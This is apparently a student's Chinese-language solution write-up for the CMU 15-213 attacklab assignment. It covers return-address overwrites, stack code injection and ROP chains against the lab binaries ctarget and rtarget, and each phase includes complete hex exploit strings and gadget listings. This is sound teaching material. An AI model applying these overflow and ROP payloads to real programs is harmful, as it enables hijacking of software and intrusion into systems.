attacklab

实验分为 5 个阶段，下面对每个阶段进行解析。下面的一些调试信息来源于 `objdump` 、 `gdb-peda` 等软件。强烈安利 `gdb-peda` 和 `pwntools` ，特别是打 CTF 比赛很有用。

阶段 1

阶段 1 很简单，直接把 touch1 的地址写入到返回地址就可以。

从 `getbuf` 汇编可以看到，栈上留的空间是 40 个 字节：

```
0000000000401949 <getbuf>:
  401949:       48 83 ec 28             sub    $0x28,%rsp
  40194d:       48 89 e7                mov    %rsp,%rdi
  401950:       e8 7e 02 00 00          callq  401bd3 <Gets>
  401955:       b8 01 00 00 00          mov    $0x1,%eax
  40195a:       48 83 c4 28             add    $0x28,%rsp
  40195e:       c3                      retq
```

所以只要填充 40 个 0，然后写上 touch1 的返回地址就可以了。运行结果：

```
Cookie: 0x5815086a
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target rtarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2017011484:PASS:0xffffffff:rtarget:1:00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 5F 19 40 00 00 00 00 00
```

阶段 2

这一次需要给 rdi 传一个特定的值，在这里是一个定值，为 0x5815086a ，不过也可以从内存地址 0x605524 读（从 touch2 汇编代码可以看出）。于是，在栈上插入了汇编：

```
   0x556545b9:  sbb    DWORD PTR [rax+0x0],eax
   0x556545bc:  add    BYTE PTR [rax],al
   0x556545be:  add    BYTE PTR [rax],al
=> 0x556545c0:  mov    rax,0x605524
   0x556545c7:  mov    edi,DWORD PTR [eax]
   0x556545ca:  ret
   0x556545cb:  add    BYTE PTR [rax],al
   0x556545cd:  add    BYTE PTR [rax],al
```

结果：

```
Cookie: 0x5815086a
Type string:Touch2!: You called touch2(0x5815086a)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2017011484:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 C0 45 65 55 00 00 00 00 8B 19 40 00 00 00 00 00 48
C7 C0 24 55 60 00 67 8B 38 C3
```

主要的点在于，这里的栈的位置是固定（mmap的时候指定了）的，于是可以直接把返回地址放到栈上，然后在栈上运行写汇编代码，最后跳到 `touch2` 。其实 `ctarget` 开启了 NX，不过在 mmap 的时候设置了 PROT_EXEC，再把它设为栈帧的位置，所以可以运行，否则这种方法就失效了。

阶段 3

这一步其实和上一步没有什么区别，只不过从 rdi 直接传递一个 cookie 变成了传递一个字符串，字符串直接放在栈上就好了，毕竟 cookie 是固定的，直接把十六进制的 cookie 放在栈上，然后用调试器的 `p` 和 `x` 命令去找实际的地址，然后填到汇编里就好了：

```
   0x556545b9:  sbb    al,BYTE PTR [rax+0x0]
   0x556545bc:  add    BYTE PTR [rax],al
   0x556545be:  add    BYTE PTR [rax],al
=> 0x556545c0:  mov    rdi,0x556545c8
   0x556545c7:  ret
   0x556545c8:  xor    eax,0x30353138
   0x556545cd:  cmp    BYTE PTR [rsi],dh
   0x556545cf:  (bad)
```

此时栈上的情况：

```
0000| 0x556545b8 --> 0x401a9c (<touch3>:        push   rbx)
0008| 0x556545c0 --> 0xc3556545c8c7c748
0016| 0x556545c8 ("5815086a")
0024| 0x556545d0 --> 0xf4f4f4f4f4f40000
0032| 0x556545d8 --> 0xf4f4f4f4f4f4f4f4
0040| 0x556545e0 --> 0xf4f4f4f4f4f4f4f4
0048| 0x556545e8 --> 0xf4f4f4f4f4f4f4f4
0056| 0x556545f0 --> 0xf4f4f4f4f4f4f4f4
```

这样返回的时候就会跳到 `touch3` 函数，并且 rdi 指向了 cookie 的字符串。

结果：

```
Cookie: 0x5815086a
Type string:Touch3!: You called touch3("5815086a")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2017011484:PASS:0xffffffff:ctarget:3:00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 C0 45 65 55 00 00 00 00 9C 1A 40 00 00 00 00 00 48
C7 C7 C8 45 65 55 C3 35 38 31 35 30 38 36 61 00
```

阶段4

后两个阶段就是 ROP ，会稍微麻烦一点，不过既然已经给出了汇编的对照表，所以难度不是很大。首先把已有的一些函数翻译成对于的 ROP Gadget：

```
addval_285: 401b3b pop rax
addval_408: 401b42 pop rax
getval_282: 401b48 mov rdi, rax
getval_113: nope
addval_291: nope
setval_294: nope
addval_219: 401b63 mov rdi, rax
addval_165: nope
```

可见我们需要做的，设置 rdi 为 cookie， 只需要两步，一步 pop， 一步 mov 即可，而且答案不唯一。构造对应的栈：

```
[------------------------------------code-------------------------------------]
=> 0x401b3b <addval_285+2>:	pop    rax
   0x401b3c <addval_285+3>:	nop
   0x401b3d <addval_285+4>:	nop
   0x401b3e <addval_285+5>:	ret
[------------------------------------stack------------------------------------]
0000| 0x7fffffdc300 --> 0x5815086a
0008| 0x7fffffdc308 --> 0x401b48 (<getval_282+1>:	mov    rdi,rax)
0016| 0x7fffffdc310 --> 0x40198b (<touch2>:	sub    rsp,0x8)
0024| 0x7fffffdc318 --> 0xf4f4f4f4f4f4f400
0032| 0x7fffffdc320 --> 0xf4f4f4f4f4f4f4f4
0040| 0x7fffffdc328 --> 0xf4f4f4f4f4f4f4f4
0048| 0x7fffffdc330 --> 0xf4f4f4f4f4f4f4f4
0056| 0x7fffffdc338 --> 0xf4f4f4f4f4f4f4f4
[-----------------------------------------------------------------------------]
```

可见接下来的一步是设置 rax， 然后跳转到下一个 Gadget 上，就是设置 rdi， 然后再跳到 touch2， 完成整个 ROP 链。

结果：

```
Cookie: 0x5815086a
Type string:Touch2!: You called touch2(0x5815086a)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2017011484:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3B 1B 40 00 00 00 00 00 6A 08 15 58 00 00 00 00 48 1B 40 00 00 00 00 00 8B 19 40 00 00 00 00 00
```

阶段 5

这个就是最难的一个阶段了，首先还是分析已有的各个函数，下面列举了阶段5可用的新的一些函数：

```
add_xy: 401b6f lea rax, [rdi+rsi*1]
addval_421: 401b7c mov edx, eax
addval_414: 401b84 mov esi, ecx
addval_269: 401b8a mov rax, rsp
setval_454: 401b91 mov rax, rsp; xchg eax, esp
getval_104: nope
setval_347: nope
setval_468: 401ba7 mov edx, eax
getval_128: nope
addval_343: 401bb2 mov ecx, edx; cmp cl, cl
getval_164: 401bb8 mov rax, rsp; xchg eax, ecx
setval_337: nope
addval_313: nope
getval_217: nope
addval_204: 401bd3 mov esi, ecx; xchg eax, esp
setval_490: nope
setval_474: 401be3 mov ecx, edx
setval_184: 401be8 mov edx, eax; add dl, dl
getval_498: nope
setval_422: 401bf5 pop rax; mov eax, esp
getval_444: nope
addval_122: nope
getval_458: nope
addval_352: nope
getval_336: 401c15 mov esi, ecx; xor dl, dl
setval_356: nope
setval_220: nope
addval_170: nope
getval_287: nope
getval_351: nope
setval_222: 401c3e mov esi, ecx
getval_486: nope
getval_485: nope
```

我们的目标是，传 rdi 为一段字符串，自然只能放到栈上，但是栈的地址是会变的，所以必须要从 rsp 加上偏移得到，能做加法的只有 `add_xy: rax = rdi + rsi`，意味着首先要通过 `mov rax, rsp` 和 `mov rdi, rax` 得到前半部分，再通过 `pop rax` `mov edx, eax` `mov ecx, edx` 和 `mov esi, exc` 得到后半部分，其中 rax 就是栈上面当前 rsp 和 最后放字符串的偏移。得到正确的地址之后，就 `mov rdi, rax` 即可，最后跳到 `touch3` 。ROP 链时的栈：

```
[-----------------------------------code-----------------------------------]
=> 0x401b8a <addval_269+2>:     mov    rax,rsp
```

```
   0x401b8d <addval_269+5>:     ret
   0x401b8e <addval_269+6>:     ret
   0x401b8f <setval_454>:       mov    DWORD PTR [rdi],0x94e08948
[-----------------------------------stack-------------------------------
-----]
0000| 0x7fffffffea8d0 --> 0x401b63 (<addval_219+2>:      mov    rdi,rax)
0008| 0x7fffffffea8d8 --> 0x401b42 (<addval_408+2>:      pop    rax)
0016| 0x7fffffffea8e0 --> 0x48 ('H')
0024| 0x7fffffffea8e8 --> 0x401ba7 (<setval_468+4>:      mov    edx,eax)
0032| 0x7fffffffea8f0 --> 0x401be3 (<setval_474+4>:      mov    ecx,edx)
0040| 0x7fffffffea8f8 --> 0x401c3e (<setval_222+3>:      mov    esi,ecx)
0048| 0x7fffffffea900 --> 0x401b75 (<add_xy>:    lea    rax,[rdi+rsi*1])
0056| 0x7fffffffea908 --> 0x401b48 (<getval_282+1>:      mov    rdi,rax)
[-----------------------------------------------------------------------
-----]


[-----------------------------------code--------------------------------
-----]
=> 0x401b43 <addval_408+3>:     nop
   0x401b44 <addval_408+4>:     ret
   0x401b45 <addval_408+5>:     faddp  st(3),st
   0x401b47 <getval_282>:       mov    eax,0xc3c78948
[-----------------------------------stack-------------------------------
-----]
0000| 0x7fffffffea8e8 --> 0x401ba7 (<setval_468+4>:      mov    edx,eax)
0008| 0x7fffffffea8f0 --> 0x401be3 (<setval_474+4>:      mov    ecx,edx)
0016| 0x7fffffffea8f8 --> 0x401c3e (<setval_222+3>:      mov    esi,ecx)
0024| 0x7fffffffea900 --> 0x401b75 (<add_xy>:    lea    rax,[rdi+rsi*1])
0032| 0x7fffffffea908 --> 0x401b48 (<getval_282+1>:      mov    rdi,rax)
0040| 0x7fffffffea910 --> 0x401a9c (<touch3>:    push   rbx)
0048| 0x7fffffffea918 ("5815086a")
0056| 0x7fffffffea920 --> 0xf4f4f4f4f4f40000
```

这样就完成了整个 ROP 链的攻击：

```
Cookie: 0x5815086a
Type string:Touch3!: You called touch3("5815086a")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2017011484:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8A 1B 40 00 00 00 00 00 63 1B 40 00 00 00 00 00 42 1B 40 00 00 00 00 00 48 00 00 00 00 00 00 00 A7 1B 40 00 00 00 00 00 E3 1B 40 00 00 00 00 00 3E 1C 40 00 00 00 00 00 75 1B 40 00 00 00 00 00 48 1B 40 00 00 00 00 00 9C 1A 40 00 00 00 00 00 35 38 31 35 30 38 36 61 00
```

至此，整个作业就做完了。